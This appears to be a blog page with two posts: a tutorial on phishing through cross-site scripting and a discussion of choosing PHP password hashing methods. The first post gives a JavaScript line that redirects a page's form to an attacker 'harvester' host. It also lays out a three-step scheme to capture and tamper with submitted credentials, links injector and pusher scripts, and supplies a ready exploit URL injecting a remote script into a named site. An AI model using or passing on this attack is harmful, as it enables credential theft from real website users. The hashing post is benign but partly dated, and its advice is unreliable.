Jul
03

How to phish the effective and smart way using XSS

Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself) you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc. 

Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.

Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue.

One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.

With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.

It can be done with this 3 step attack:

1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC.

2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:

http://www.e-x-e.dk/labs/autoPhisher/source/index.php

This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc.

The last part of the script is computing a new pusher-injected URL to which the victim will be sent.

3. step: Let the pusher to its job

Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript.

The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:

http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php

Here a place you can test this thing out:

http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E

Example user / password: testerLars / testerLars

Let me know what you think by making some comments and maybe leaving some more usage examples.

Jul
03

Choosing hash method in PHP

So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?

Speed

I started with some benchmarking: http://e-x-e.dk/labs/timing/ (source: http://www.e-x-e.dk/labs/timing/source.php).

This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.

Common vs. uncommon method

When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (http://www.freerainbowtables.com/da/tables/md5/). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.

Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce.

Hash method attacks

The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (http://en.wikipedia.org/wiki/Collision_attack) or a preimage attack (http://en.wikipedia.org/wiki/Preimage_attack). Therefore you should also have this in your considerations when choosing a hashing method for your site.

Other things to consider

Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.

I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?

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